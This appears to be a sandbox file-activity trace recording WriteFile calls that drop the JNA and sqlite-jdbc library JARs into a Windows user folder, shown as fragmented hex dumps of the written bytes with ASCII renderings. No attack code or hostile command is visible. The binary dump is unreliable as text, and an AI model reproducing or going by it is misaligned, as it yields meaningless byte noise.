f0 cf ef 25 be f7 91 99 
59 ec 69 df d5 26 7f 
44 ad 29 ff f8 1a 6d 0e 
74 60 5c db d9 75 8e 
c1 ad 5c 6d ef 06 97 
63 c7 19 3c 42 8f ba 
38 50 2b 5b a0 90 18 
ad 5d ea e0 ab ab c8 
25 6e aa 39 95 5c 8d 
28 5a 9f 5f 49 bf c6 08 
1c bf 08 5d 84 7e 45 
f4 6c 21 a3 67 7c f5 
11 24 78 be 7f 31 02 
f6 3c a3 5f cb 3a c9 
d7 56 46 bd 2a 23 c4 
6b fd 15 69 57 f0 af 1c 
33 3d 97 85 fa 04 f2 
52 d8 9e 76 5e 1e 2d 
97 e0 fc 18 06 e0 6b 
00 f0 43 a3 98 bb 16 
06 61 ea 87 9b 00 be 
69 b5 5d 86 75 dd 19 
16 19 00 9d 0e 78 cf 
79 9a 02 6b 

...H...(...h...'.z.B..f....%..

.gq.Xw,^lo...EM1.%gp...
(..l..+..7....u.A.p...0....
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..v^.-......k..C.....a.....i.]
.u.......x.y..k
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30 4c 8e 3d b3 b6 5f 
4b 84 99 b1 99 0a ca 
9f 22 c9 54 c2 48 a4 
f4 25 a9 9d 3a e4 f9 
7e 15 63 11 7f 5f 3b 
00 a8 98 2f 1f 66 ae 
e6 cb 97 48 9f 03 e6 
dc 65 ce dd e6 bc c5 
9c af 30 e7 1e 73 de 
6a ce db f4 d9 21 3b 
06 a0 b8 4c be 03 fc 
9e 09 21 1b 09 8e 7d 
fc aa e3 2c 38 db dc 
47 21 1e e1 c2 82 10 
c7 42 9d 58 8d 7e 1d 
92 ce 00 0d db 75 71 
7c 15 cc c3 bd a4 ca 
bd ca 11 58 4e a2 dc 
59 30 06 eb 66 b7 f5 
38 6c 3d 05 4e 9b 7f 
0c 85 47 60 e1 de 30 
79 0a 74 b9 4e 58 39 
ae a5 fc 75 94 bb 1e 
0b 70 69 46 87 8a 62 
84 b1 93 5f bb 74 7e 
b1 00 37 c8 4e c5 54 
f6 02 14 12 81 cb dc 
27 b1 70 04 ca 08 ec 
ce 19 b6 e3 70 f4 14 
b8 fd 3d d6 ea 31 14 
f9 47 a1 8a 61 77 f5 
28 66 b6 79 ac a3 38 
cb 33 dc 36 1d 27 25 
57 c2 83 1a cc 32 e1 
5d 48 ef 80 fe b6 d2 
d7 f3 e8 

....$%.0L.=.._K.......".T.H..
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C:\Users\user\lib\jna-platform-5.5.0.jard unknown 347 77 61 01 00 11 58 57 
69 6e 64 6f 77 41 74 
74 72 69 62 75 74 65 
73 01 00 31 4c 63 6f 
6d 2f 73 75 6e 2f 6a 
6e 61 2f 70 6c 61 74 
66 6f 72 6d 2f 75 6e 
69 78 2f 58 31 31 24 
58 57 69 6e 64 6f 77 
41 74 74 72 69 62 75 
74 65 73 3b 01 00 05 
69 6d 61 67 65 07 00 
a9 01 00 06 58 49 6d 
61 67 65 01 00 26 4c 
63 6f 6d 2f 73 75 6e 2f 
6a 6e 61 2f 70 6c 61 
74 66 6f 72 6d 2f 75 
6e 69 78 2f 58 31 31 
24 58 49 6d 61 67 65 
3b 01 00 0d 53 74 61 
63 6b 4d 61 70 54 61 
62 6c 65 07 00 9f 07 
00 aa 07 00 ab 07 00 
ac 07 00 95 07 00 a6 
07 00 a7 07 00 81 07 
00 a8 07 00 ad 01 00 
0a 53 6f 75 72 63 65 
46 69 6c 65 01 00 10 
57 69 6e 64 6f 77 55 
74 69 6c 73 2e 6a 61 
76 61 0c 00 33 00 37 
0c 00 38 00 ae 0c 00 
32 00 31 07 00 af 0c 
00 b0 00 b1 0c 00 b2 
00 52 0c 00 b3 00 b4 
0c 00 b5 00 b6 01 00 
0e 6a 

wa...XWindowAttributes..1
Lcom/
sun/jna/platform/unix/X11$
XWin
dowAttributes;...image......
XI
mage..&Lcom/sun/jna/platf
orm/u
nix/X11$XImage;...StackM
apTable.............................
....SourceFile...WindowUtil
s.java..3.7..8....2.1............
R.............j
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C:\Users\user\lib\jna-5.5.0.jard unknown 347 e6 f5 94 72 45 96 dc 
a7 b3 ce 5e 8f 8f e0 
a3 59 fe b1 1a 4f d3 
ea 6a 33 31 25 2e 16 
cb 35 66 a2 7a f2 79 
e5 39 3e 42 cf 67 0a 
9e f4 cd c7 4c af 54 e2 
2e 1d ab 5c 7d 1c 77 
93 bb 98 7f 9f d0 33 
30 8d e1 93 cc d3 4f 
a5 df 56 b1 d7 c4 f0 
b2 73 ed 28 d6 1d 84 
62 bd 0f d6 82 23 58 
2a bf d7 8f e1 92 23 
50 9c 97 ca 37 d3 b9 
81 a3 57 7f 3f db 9c f5 
1c 7d ce 8d ce 06 9a 
6c 1b 43 e3 11 16 27 
67 53 e6 e3 62 8f b3 
39 eb 89 25 e5 02 8f 
73 93 cd a0 6c a4 ff 
d3 e4 0b 3d ce 16 25 
cd 48 72 2b 53 b6 86 
a9 99 de 3f b7 da 79 
99 29 c8 61 50 56 57 
3b 37 9b 14 af 41 59 
e3 76 b6 d9 c6 65 78 
0c ea 45 35 4e 5f 16 
d5 d9 6e 90 57 3e 92 
79 e7 37 d2 35 b2 7f 
28 e6 73 59 c1 b7 64 
11 2f e9 72 3e 97 35 
68 c6 f9 4c 9c 7a b4 
c2 c7 b7 e5 4a 6c 66 
1d f7 32 a5 da 58 02 
7c 38 86 76 be 81 1d 
78 

...rE.....^....Y...O..j31%...5
f.z.y.9>B.g.....L.T....\}.w...
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C:\Users\user\lib\sqlite-jdbc-3.14.2.1.jard unknown 1024 6f 9b 0f 68 4a 43 bc 
28 2f 06 e1 32 23 73 
bf 9a fc e5 2a dc 62 
8d 21 75 6d ba 01 63 
6f 17 8f 6e db ae 77 
84 28 b5 21 0a a1 39 
82 09 05 f4 c5 20 a0 
97 81 80 3e 23 1b 0f 
f0 81 e8 ba d8 18 02 
ae 08 ca 09 16 02 2e 
d5 17 9e 8b d2 20 67 
bc 5f 18 a3 07 0d 49 
7a 38 9b a4 d9 98 aa 
13 ad b8 cc 77 e9 4a 
a5 e2 d1 a5 ee 45 a0 
f6 f8 5c 8b 47 73 8e 
e5 c1 f9 e8 fd a0 79 
63 a4 22 a0 8a 92 8c 
c4 b7 4f 2b f3 2b 93 
34 09 d2 c5 31 c8 f3 
eb bd a8 82 d4 1d 4f 
e1 d7 af 90 f0 ea 84 
29 6e 17 3c ad a1 a7 
c6 b8 7d fc 7a 17 52 
c7 b8 06 b5 d6 26 17 
19 35 a3 40 8a e4 af 
fb de 94 e7 7d 7a 90 
14 a8 3b 6d cc f3 2e 
be d6 2b 0c c6 02 de 
29 0f c2 e3 99 f0 e4 
21 af f0 30 b4 61 f4 e7 
cd e2 fc 79 bf 1a e3 cf 
fb f5 25 7f 5e c9 3c 34 
2e 5f a3 a3 53 fe 7c f5 
7f a8 23 45 cc 2d c4 
31 b9 d3 f3 60 4d 

o..hJC.
(/..2#s....*.b.!um..co..n..w.
(.!..9..... ....>#..................... 
g._....Iz8....
.....w.J.....E...\.Gs.......yc
."......O+.+.4...1........O...
....)n.<.....}.z.R.....&..5.@.
......}z...;m.....+....)......
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|...#E.-.1...`M
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C:\Users\user\lib\sqlite-jdbc-3.14.2.1.jard unknown 347 8f fa 5a 17 79 c9 35 
6b ea 05 4a de 0b d2 
c2 59 28 79 3d c7 f6 
7e ad f2 53 b9 20 05 
ba 2f e9 e7 fd 02 c4 8f 
ac ad 18 11 98 1c c9 
ea be bf 5e f5 0b be 
a2 cb cc 97 31 7d 9f 
6c 78 61 05 6a bc 42 
fb c2 0c df 14 5d ce 
76 86 5c 3e 8b 51 2f 
4a 33 9b 2c 39 8a 63 
90 6c 78 1c cb b4 b1 
52 52 9d c5 27 e8 ac 
39 3b 9d 99 18 b0 f2 
52 12 1a d7 d6 c0 8f 
dd 67 f8 c6 d0 9f 13 
3e ea b4 ae cd fd 81 
ac 6b d1 ef a9 6a d0 
a6 67 f2 31 74 b8 98 
5f 5f 6c 26 b3 fc a2 11 
75 df 98 e2 3e 87 fb 
91 68 96 3f 6f 81 ab 
1b 85 b8 fd d8 eb cd 
5a af 9b c5 ba d0 f5 
be 25 3a 1a cf 60 c1 
e7 c4 ce b7 b6 b7 a7 
1f f4 15 e8 72 1a b4 
0e 3b 32 f4 76 a9 a8 
41 6a b6 a4 2b 16 5d 
93 ae 15 b5 78 8b 74 
ca 92 be 3f 7d bb 35 
47 49 a9 b5 e4 6c 4f 
39 94 5a ef fa 4a c7 af 
af 4f df ce 0f e7 a4 03 
ee 0b 7a 12 13 e7 

..Z.y.5k..J....Y(y=..~..S. ../

................^.......1}.lxa
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C:\Users\user\lib\jna-platform-5.5.0.jard unknown 1024 63 6f 6d 2f 73 75 6e 2f 
6a 6e 61 2f 4d 65 6d 
6f 72 79 0c 00 30 00 
31 07 00 ad 0c 00 c7 
00 c8 01 00 2f 63 6f 
6d 2f 73 75 6e 2f 6a 
6e 61 2f 70 6c 61 74 
66 6f 72 6d 2f 75 6e 
69 78 2f 58 31 31 24 
58 57 69 6e 64 6f 77 
41 74 74 72 69 62 75 
74 65 73 0c 00 c9 00 
ca 0c 00 cb 00 ce 01 
00 1d 63 6f 6d 2f 73 
75 6e 2f 6a 6e 61 2f 
70 6c 61 74 66 6f 72 
6d 2f 75 6e 69 78 2f 
58 31 31 0c 00 cf 00 
d0 0c 00 d1 00 d2 0c 
00 49 00 45 0c 00 4a 
00 45 0c 00 d3 00 d4 
0c 00 d5 00 d6 0c 00 
d7 00 d8 0c 00 d9 00 
da 0c 00 db 00 dc 01 
00 49 63 6f 6d 2f 73 
75 6e 2f 6a 6e 61 2f 
70 6c 61 74 66 6f 72 
6d 2f 57 69 6e 64 6f 
77 55 74 69 6c 73 24 
58 31 31 57 69 6e 64 
6f 77 55 74 69 6c 73 
24 58 31 31 54 72 61 
6e 73 70 61 72 65 6e 
74 43 6f 6e 74 65 6e 
74 50 61 6e 65 07 00 
dd 01 00 49 63 6f 6d 
2f 73 

com/sun/jna/Memory..0.1..
.....
.../com/sun/jna/platform/uni
x/
X11$XWindowAttributes....
.....
....com/sun/jna/platform/uni
x/X11............I.E..J.E.......
....................Icom/sun/j
na/platform/WindowUtils$X
11Win
dowUtils$X11Transparent
ContentPane.....Icom/s
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C:\Users\user\lib\jna-platform-5.5.0.jard unknown 347 28 4c 6a 61 76 61 2f 
61 77 74 2f 57 69 6e 
64 6f 77 3b 4c 63 6f 
6d 2f 73 75 6e 2f 6a 
6e 61 2f 70 6c 61 74 
66 6f 72 6d 2f 75 6e 
69 78 2f 58 31 31 24 
44 69 73 70 6c 61 79 
3b 4c 63 6f 6d 2f 73 
75 6e 2f 6a 6e 61 2f 
70 6c 61 74 66 6f 72 
6d 2f 75 6e 69 78 2f 
58 31 31 24 57 69 6e 
64 6f 77 3b 4c 6a 61 
76 61 2f 61 77 74 2f 
50 6f 69 6e 74 3b 29 
4c 63 6f 6d 2f 73 75 
6e 2f 6a 6e 61 2f 70 
6c 61 74 66 6f 72 6d 
2f 75 6e 69 78 2f 58 
31 31 24 57 69 6e 64 
6f 77 3b 01 00 04 28 
4a 29 56 01 00 09 58 
43 72 65 61 74 65 47 
43 07 00 df 01 00 08 
44 72 61 77 61 62 6c 
65 07 00 e0 01 00 09 
58 47 43 56 61 6c 75 
65 73 01 00 b4 28 4c 
63 6f 6d 2f 73 75 6e 2f 
6a 6e 61 2f 70 6c 61 
74 66 6f 72 6d 2f 75 
6e 69 78 2f 58 31 31 
24 44 69 73 70 6c 61 
79 3b 4c 63 6f 6d 2f 
73 75 6e 2f 6a 6e 61 
2f 70 

(Ljava/awt/Window;Lcom/s
un/jna
/platform/unix/X11$Display
;Lco
m/sun/jna/platform/unix/X1
1$Wi
ndow;Ljava/awt/Point;)Lco
m/sun
/jna/platform/unix/X11$Win
dow;...
(J)V...XCreateGC......Draw
able......XGCValues...
(Lcom/sun
/jna/platform/unix/X11$Dis
play;Lcom/sun/jna/p
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C:\Users\user\lib\jna-5.5.0.jard unknown 347 9c da 9d 63 d5 1e 7c 
af d6 70 03 12 d4 9f 
ce c4 b5 f0 84 d3 16 
3b 24 36 1a b2 42 ea 
d1 ea 04 74 97 35 18 
d4 ae f0 5b fd a3 7a 
13 bb d4 09 e5 f8 b9 
1b 78 6d 71 60 cb 42 
85 5f c0 8d 3b eb d1 
d2 a1 21 27 4d 59 c7 
84 f4 96 b1 92 c1 aa 
8e 35 ac eb a8 c0 60 
28 ff db 1a 43 f1 a7 e6 
5b 56 31 8e 64 df 9c 
1a 3c 75 6d c7 17 1e 
c3 b4 61 7e 9b 39 4a 
d0 94 13 7f 84 19 34 
1a b4 5f 98 1e c0 38 
0e 1f 42 bb 19 c4 14 
e3 d8 6c a0 4c 5f a4 
42 2e 05 94 07 27 3b 
42 a7 6d 24 c9 03 d2 
d5 ec 2b d8 0b 79 09 
e8 64 39 ed a0 cf 4c 
a1 84 51 f2 f4 be 0a 
59 8c d1 2e 09 b9 88 
70 48 84 a4 54 54 73 
ea 2b 12 d5 4a 0f c9 
01 27 1b e6 96 e8 66 
99 d4 cb 21 ab 10 b2 
f5 88 25 bd 71 e4 89 
c6 e4 43 47 d4 3a 55 
96 37 79 b5 07 45 23 
66 ea 67 6f 6b d4 c3 
fa 10 8f c7 3c 1e f3 26 
31 15 f1 b6 a2 39 b5 
90 

...c..|..p...........;$6..B...

.t.5....[..z........xmq`.B._..
;....!'MY.........5....`(...C...
[V1.d...<um.....a~.9J......4
.._...8..B......l.L_.B....';B.
m$.....+..y..d9...L..Q....Y...
...pH..TTs.+..J...'....f...!..
...%.q....CG.:U.7y..E#f.gok.
.....<..&1....9..
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C:\Users\user\lib\jna-platform-5.5.0.jard unknown 1024 4c 63 6f 6d 2f 73 75 
6e 2f 6a 6e 61 2f 70 
6c 61 74 66 6f 72 6d 
2f 75 6e 69 78 2f 58 
31 31 24 47 43 3b 01 
00 07 67 65 74 44 61 
74 61 01 00 19 28 29 
4c 6a 61 76 61 2f 61 
77 74 2f 69 6d 61 67 
65 2f 52 61 73 74 65 
72 3b 01 00 05 77 69 
64 74 68 01 00 06 68 
65 69 67 68 74 01 00 
04 73 69 7a 65 01 00 
03 28 29 4a 01 00 08 
67 65 74 50 69 78 65 
6c 01 00 08 28 49 49 
5b 49 29 5b 49 01 00 
14 58 47 65 74 57 69 
6e 64 6f 77 41 74 74 
72 69 62 75 74 65 73 
01 00 81 28 4c 63 6f 
6d 2f 73 75 6e 2f 6a 
6e 61 2f 70 6c 61 74 
66 6f 72 6d 2f 75 6e 
69 78 2f 58 31 31 24 
44 69 73 70 6c 61 79 
3b 4c 63 6f 6d 2f 73 
75 6e 2f 6a 6e 61 2f 
70 6c 61 74 66 6f 72 
6d 2f 75 6e 69 78 2f 
58 31 31 24 57 69 6e 
64 6f 77 3b 4c 63 6f 
6d 2f 73 75 6e 2f 6a 
6e 61 2f 70 6c 61 74 
66 6f 72 6d 2f 75 6e 
69 78 2f 

Lcom/sun/jna/platform/unix
/X11$GC;...getData...
()Ljava/awt/i
mage/Raster;...width...heig
ht...size...()J...getPixel...(II[
I)
[I...XGetWindowAttributes..
.
(Lcom/sun/jna/platform/uni
x/X1
1$Display;Lcom/sun/jna/pl
atfor
m/unix/X11$Window;Lcom
/sun/jna/platform/unix/
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C:\Users\user\lib\sqlite-jdbc-3.14.2.1.jard unknown 347 a8 c0 3f 96 67 71 dd 
ed db 8e 07 ed 94 1e 
1d c0 ec 68 75 8f bf 7f 
39 76 f8 00 34 6e ec 
ec f0 c7 cb b5 fa cb 
97 6b 1d ce 67 1d ae 
7e 5d 7b 71 ef 72 ea 
f0 a7 af b3 6f de 56 93 
ff 06 4f 42 af 41 0f be 
d5 7a 00 13 62 d4 47 
26 e4 9e ce f9 00 ae 
92 8a 2b 35 06 27 17 
77 ef f2 c5 f0 6d 36 dd 
96 85 6f 67 d1 0a c7 
c9 b8 e1 69 cc ac c2 
26 61 13 4c 02 d6 0c 
03 37 ea 23 93 40 bb 
b7 2c c6 89 67 59 98 
59 64 bd 1e 19 d3 b9 
65 5a d7 d7 2c d3 c6 
f4 d4 5f 68 4c 6b ff a2 
bd 58 ba 8c c6 c4 bd 
1e 61 16 9f 2d 8b 30 
8b 5f 2f 23 48 9b 3a 
97 13 a7 5d 86 e2 a9 
80 00 05 56 f4 86 ef 
39 0f f6 e5 30 d4 bb 
e6 2f 91 be 3c 11 ee 
cb 90 70 5f be 5a 4d 
7d 31 87 fb 72 d6 43 
7d 71 fc 25 02 5f db 
32 0d be d1 9d 63 ae 
65 08 8f c3 9e 4d f0 
45 f4 25 89 05 01 88 
e8 ad 36 d9 80 5c 23 
4d 49 77 4d 2a 

..?.gq...........hu...9v..4n..

.......k..g..~]{q.r.....o.V...
OB.A...z..b.G&........+5.'.w..
..m6...og......i...&a.L....7.#
.@..,..gY.Yd.....eZ..,...._hL
k...X......a..-.0._/#H.:...]...
...V...9...0.../..<....p_.ZM}1
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C:\Users\user\lib\jna-platform-5.5.0.jard unknown 347 2f 70 6c 61 74 66 6f 
72 6d 2f 75 6e 69 78 
2f 58 31 31 24 44 72 
61 77 61 62 6c 65 01 
00 27 63 6f 6d 2f 73 
75 6e 2f 6a 6e 61 2f 
70 6c 61 74 66 6f 72 
6d 2f 75 6e 69 78 2f 
58 31 31 24 58 47 43 
56 61 6c 75 65 73 01 
00 24 63 6f 6d 2f 73 
75 6e 2f 6a 6e 61 2f 
70 6c 61 74 66 6f 72 
6d 2f 75 6e 69 78 2f 
58 31 31 24 56 69 73 
75 61 6c 00 20 00 27 
00 28 00 00 00 05 00 
1a 00 29 00 2a 00 01 
00 2b 00 00 00 02 00 
2c 00 02 00 2e 00 2f 
00 00 00 02 00 30 00 
31 00 00 00 12 00 32 
00 31 00 00 10 10 00 
33 00 37 00 00 00 02 
00 01 00 38 00 39 00 
01 00 3a 00 00 00 53 
00 03 00 03 00 00 00 
13 2a 2b b5 00 01 2a 
2b 2c b7 00 02 2a 07 
bc 0a b5 00 03 b1 00 
00 00 02 00 3b 00 00 
00 12 00 04 00 00 06 
d1 00 05 06 d2 00 0b 
06 d7 00 12 06 d3 00 
3c 00 00 00 16 00 02 
00 00 00 13 00 3d 00 
3f 00 00 

/platform/unix/X11$Drawab
le..'
com/sun/jna/platform/unix/
X11$
XGCValues..$com/sun/jna/
platform/unix/X11$Visual. 
.'.(......
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C:\Users\user\lib\jna-platform-5.5.0.jard unknown 1024 0c 01 b9 00 0d 05 00 
3a 08 2b b6 00 0e 3a 
09 2c b4 00 0f 36 0a 
2c b4 00 10 36 0b 2a 
b4 00 11 c6 00 16 2a 
b4 00 11 b6 00 12 15 
0a 15 0b 68 07 68 85 
94 99 00 21 2a bb 00 
13 59 15 0a 15 0b 68 
07 68 85 b7 00 14 b5 
00 11 2a 15 0a 15 0b 
68 bc 0a b5 00 15 03 
36 0c 15 0c 15 0b a2 
00 78 03 36 0d 15 0d 
15 0a a2 00 68 19 09 
15 0d 15 0c 2a b4 00 
03 b6 00 16 57 2a b4 
00 03 06 2e 11 00 ff 
7e 36 0e 2a b4 00 03 
05 2e 11 00 ff 7e 36 
0f 2a b4 00 03 04 2e 
11 00 ff 7e 36 10 2a 
b4 00 03 03 2e 11 00 
ff 7e 36 11 2a b4 00 
15 15 0c 15 0a 68 15 
0d 60 15 0e 10 18 78 
15 11 10 10 78 80 15 
10 10 08 78 80 15 0f 
80 4f 84 0d 01 a7 ff 97 
84 0c 01 a7 ff 87 bb 
00 17 59 b7 00 18 3a 
0c 19 04 19 05 19 06 
19 0c b9 00 19 04 00 
57 19 04 19 05 19 0c 
b4 00 1a 10 20 05 03 
2a b4 00 11 15 0a 15 
0b 10 
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....*..........h.h....!*...Y..

..h.h.......*....h......6.....

..x.6.......h......*......W*..
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0a 01 4f 01 50 09 00 
1e 01 51 09 00 1e 01 
52 09 00 1e 01 53 09 
00 1e 01 54 0b 00 48 
01 55 07 01 56 0a 00 
0e 01 57 0b 00 48 01 
58 0b 00 48 01 59 0b 
00 48 01 5a 07 01 5b 
0a 00 13 01 4c 07 01 
5c 0a 00 15 01 5d 0a 
01 5e 01 5f 07 01 60 
0a 00 18 01 4c 0b 01 
61 01 62 0a 00 18 01 
63 07 00 bb 0b 01 61 
01 64 07 01 65 09 00 
18 01 66 09 00 18 01 
67 09 00 18 01 68 09 
00 18 01 69 0a 00 18 
01 6a 0a 01 6b 01 6c 
05 00 00 00 00 00 00 
00 02 05 00 00 00 00 
00 00 00 04 05 00 00 
00 00 00 00 00 06 0a 
00 18 01 6d 0b 00 48 
01 6e 0b 00 48 01 6f 
0a 00 91 01 70 0a 01 
71 01 72 08 01 73 07 
01 74 0a 01 75 01 76 
07 01 77 0a 01 78 01 
79 07 01 7a 0a 00 35 
01 7b 07 01 7c 0a 00 
37 01 7d 05 ff ff ff ff ff 
ff ff ff 0a 00 91 01 7e 
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.H.X..H.Y..H.Z..[....L..\....]
..^._..`....L..a.b....c.....a.
d..e....f....g....h....i....j.
.k.l..........................
.....m..H.n..H.o....p..q.r..s.
.t..u.v..w..x.y..z..5.{..|..7.
}.............~
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C:\Users\user\lib\jna-5.5.0.jard unknown 1024 9c 8c ba a6 3e 00 50 
4b 03 04 0a 00 00 08 
08 00 8c 8c 5e 4f 88 
70 21 e9 df 01 00 00 
cb 03 00 00 2b 00 00 
00 63 6f 6d 2f 73 75 
6e 2f 6a 6e 61 2f 70 
74 72 2f 4e 61 74 69 
76 65 4c 6f 6e 67 42 
79 52 65 66 65 72 65 
6e 63 65 2e 63 6c 61 
73 73 8d 92 df 6f 12 
41 10 c7 bf 0b 07 c7 
ad 47 ab c5 d2 0a da 
df 95 03 b4 a7 f5 11 
e3 43 8d 26 34 a4 31 
b6 21 d1 b7 2b ae 78 
0d bd 33 c7 41 e2 7f 
55 7d 80 44 13 ff 00 ff 
28 e3 cc 71 39 84 80 
f1 1e 66 67 66 bf f3 b9 
99 dd fd f5 fb fb 4f 00 
c7 38 d6 51 96 10 b8 
2f 21 f1 c0 20 6f 4b e2 
16 b6 39 dc 61 b3 2b 
b1 87 7d 36 07 3a 0e 
75 3c 14 c8 3e 77 3d 
37 7c 21 90 b6 aa 6d 
01 ed a5 ff 41 09 ac 
b6 5c 4f 9d 0d ae 2f 
55 70 e1 5c f6 28 b3 
d6 f2 3b 4e af ed 04 
2e c7 71 52 0b 3f b9 
7d 81 4a ab e3 5f db 
fd 81 67 5f 79 8e fd 39 
0c ec 33 27 74 

....>.PK..........^O.p!.......

..+...com/sun/jna/ptr/Native
Lo
ngByReference.class...o.A
.....
..G.............C.&4.1.!..+.x.
.3.A..U}.D....(..q9....fgf....
.....O..8.Q.../!.. oK...9.a.+.
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C:\Users\user\lib\jna-5.5.0.jard unknown 347 18 7b 79 cc 10 4e f0 
57 89 b0 bb d4 28 ab 
a4 d5 47 5a 27 66 e6 
69 73 9b 34 d0 d6 08 
4f c6 3c 19 f3 66 a9 
36 e4 7d a4 3e 78 04 
7d c0 eb 43 bb 8e 71 
99 41 e1 fd c8 9c 7a 
3c 67 61 a0 2a fe 05 
50 4b 03 04 0a 00 00 
08 08 00 8c 8c 5e 4f 
11 b7 93 d8 a4 01 00 
00 f4 02 00 00 26 00 
00 00 63 6f 6d 2f 73 
75 6e 2f 6a 6e 61 2f 
70 74 72 2f 53 68 6f 
72 74 42 79 52 65 66 
65 72 65 6e 63 65 2e 
63 6c 61 73 73 85 91 
4b 4f c2 40 14 85 cf 
40 79 8d 55 7c e1 0b 
1f 80 af d2 85 24 ea 
4e e3 42 13 8d 86 18 
63 0d fb 82 a3 d6 60 
6b 4a 31 f1 3f b9 71 
03 89 0b 7f 80 3f ca 
78 6f 69 aa 12 13 bb 
b8 bd 73 e7 f4 9b 73 
a6 1f 9f 6f ef 00 b6 51 
95 c8 60 4e 22 8b 79 
ee 16 b8 14 25 16 b1 
c4 65 39 83 95 0c 4a 
02 e9 7d c7 75 82 03 
81 a4 51 6d 08 68 47 
de b5 12 c8 d7 1d 57 
9d 77 1f 9a ca bf b2 
9b 6d 

.{y..N.W....(...GZ'f.is.4...O.
<..f.6.}.>x.}..C..q.A....z<ga.
*..PK..........^O............&
...com/sun/jna/ptr/ShortBy
Refe
rence.class..KO.@...@y.U|
.....
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C:\Users\user\lib\sqlite-jdbc-3.14.2.1.jard unknown 347 2c de 3a 68 89 5f 4f 
b4 ee cb 0b 57 eb c7 
b9 43 57 ee c7 df 2f 
44 fa 11 89 4f db 39 
3e bd 36 be ea ab d6 
fb 97 ab d4 7b cf 85 ff 
3a 3e a8 3f 4a ab df 
7c d5 fa 85 ab d4 7f 
e6 fc ff a4 fe 70 ff 77 
9c bf 5a fd c7 bf b8 72 
fd bf bb 6a fd 14 af b9 
ad 2b 0f 20 c6 78 fc 
35 23 6e f8 98 d0 59 
5f e0 4d 31 40 f6 51 
31 09 8b 25 c0 6f 51 
88 8c 15 da 0a e2 8c 
0e 03 49 12 89 24 8f 
60 62 64 e9 28 3e 08 
be d3 4e cb a1 57 7b 
42 b7 f6 ba b2 e3 d0 
a4 24 3c 14 60 34 e5 
05 f2 31 e2 2d 87 27 
bb da 04 de e6 97 a2 
fc f9 f1 ba f0 c9 20 26 
b9 ac e8 d6 7f da dd 
2c c9 2b b3 e7 b4 d2 
5a 9e 37 fe 4a 2d 48 
57 6c c1 c2 8b ad 16 
e9 d6 de 4d f4 5e 2f 
d2 42 b3 b6 f6 db 60 
95 39 fa 55 5d 46 0b 
ae b3 0f 00 bf ac 4f 7f 
2e 74 fd cc fa 3c 7e 
bd df dd 71 2d 3c 59 
f6 62 12 b7 d0 e4 ee 
00 75 07 e4 

,.:h._O....W...CW.../D...O.9
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01 01 09 00 56 01 91 
09 00 44 01 92 0b 00 
56 01 93 09 00 fb 01 
94 07 01 95 09 00 fb 
01 96 09 01 97 01 98 
09 00 44 01 99 0b 01 
61 01 9a 0a 00 44 01 
6a 0b 00 48 01 9b 0b 
00 48 01 9c 07 01 9d 
0a 00 5e 01 9e 07 01 
9f 0a 00 60 01 9e 07 
01 a0 0a 00 62 01 4c 
07 01 a1 0a 00 64 01 
4c 0b 00 48 01 a2 0a 
00 64 01 a3 0a 01 6b 
01 a4 07 01 a5 0a 00 
69 01 57 07 01 a6 0a 
00 6b 01 4c 0b 00 48 
01 a7 09 00 6b 01 51 
09 01 a8 01 51 09 00 
6b 01 53 09 01 a8 01 
53 0a 01 a9 01 aa 07 
01 ab 08 01 ac 0a 00 
73 01 ad 07 01 ae 0a 
00 76 01 af 0a 00 91 
01 b0 07 01 b1 07 01 
b2 08 01 b3 0a 00 7a 
01 ad 0a 01 b4 01 b5 
0a 00 91 01 85 0a 01 
71 01 b6 07 01 b7 0a 
00 80 01 4c 08 01 b8 
0a 00 80 01 b9 0a 00 
80 01 ba 08 01 bb 0a 
00 80 01 bc 0a 01 b4 
01 bd 0a 01 be 01 bf 
07 01 c0 
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C:\Users\user\lib\sqlite-jdbc-3.14.2.1.jard unknown 1024 35 1f 18 c6 23 25 56 
0d 12 6e 1a cf 45 7c 
21 47 f0 b4 b7 98 22 
4a 9e 45 78 62 94 19 
31 0a 9e ca e2 6c 3e 
66 f3 91 3c 78 94 d4 
9a f9 9d e0 fa 2b 2a 
d9 97 42 7d 60 bd 0a 
ae e7 f1 46 2f 54 55 
92 b5 85 09 ae b7 7f 
8f 56 cf be ae c5 18 
60 72 3e 8f fb 6d cb 
5c 24 ed f2 2f 9c 47 
7e d7 b6 8c f4 74 96 
95 1a 9e 4a 18 58 c3 
bd 11 b3 63 70 ce f8 
40 55 b1 66 e2 15 dd 
1b 8f b1 67 6d c2 83 
7a be ba 12 ae 5d 1b 
ff 46 8f 9c 36 f7 56 7a 
89 47 9d 72 44 69 37 
da b5 12 3a ed 5a 4e 
51 f4 51 a6 43 66 ce 
f2 ac a6 94 e5 f7 1b 
7e f8 5d d8 a2 25 fb 
e8 74 ac a4 0b 8d 8c 
c8 0b 81 65 78 d1 0f 
fe 51 62 e2 60 76 1f 
04 cc 3a 2c 88 47 a9 
5b d4 aa 7f 92 58 b1 
0c 8d 0f 6b 52 9d 89 
6a d5 07 5d 1e e4 01 
d8 aa d6 b2 8a 5c 6c 
0c dd e2 45 c3 c8 b1 
5c 94 b3 c0 22 bd f3 
32 56 4a 2e da c4 f4 
77 2b 

5...#%V..n..E|!G...."J.Exb..
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/TU........V.....`r>..m.\$../.
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......ex...Qb.`v...:,.G.[....X
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..."..2VJ....w+

success or wait 1 6DD59FBC WriteFile

C:\Users\user\lib\jna-platform-5.5.0.jard unknown 1024 64 6f 77 41 6c 70 68 
61 53 75 70 70 6f 72 
74 65 64 01 00 03 28 
29 5a 01 00 0b 67 65 
74 56 69 73 75 61 6c 
49 44 01 00 23 28 4c 
6a 61 76 61 2f 61 77 
74 2f 47 72 61 70 68 
69 63 73 43 6f 6e 66 
69 67 75 72 61 74 69 
6f 6e 3b 29 4a 01 00 
01 6f 01 00 12 4c 6a 
61 76 61 2f 6c 61 6e 
67 2f 4f 62 6a 65 63 
74 3b 01 00 01 65 01 
00 15 4c 6a 61 76 61 
2f 6c 61 6e 67 2f 45 
78 63 65 70 74 69 6f 
6e 3b 01 00 06 63 6f 
6e 66 69 67 01 00 20 
4c 6a 61 76 61 2f 61 
77 74 2f 47 72 61 70 
68 69 63 73 43 6f 6e 
66 69 67 75 72 61 74 
69 6f 6e 3b 07 01 7c 
01 00 27 67 65 74 41 
6c 70 68 61 43 6f 6d 
70 61 74 69 62 6c 65 
47 72 61 70 68 69 63 
73 43 6f 6e 66 69 67 
75 72 61 74 69 6f 6e 
01 00 22 28 29 4c 6a 
61 76 61 2f 61 77 74 
2f 47 72 61 70 68 69 
63 73 43 6f 6e 66 69 
67 75 72 61 74 69 6f 
6e 3b 01 

dowAlphaSupported...
()Z...getVisualID..#
(Ljava/awt/GraphicsC
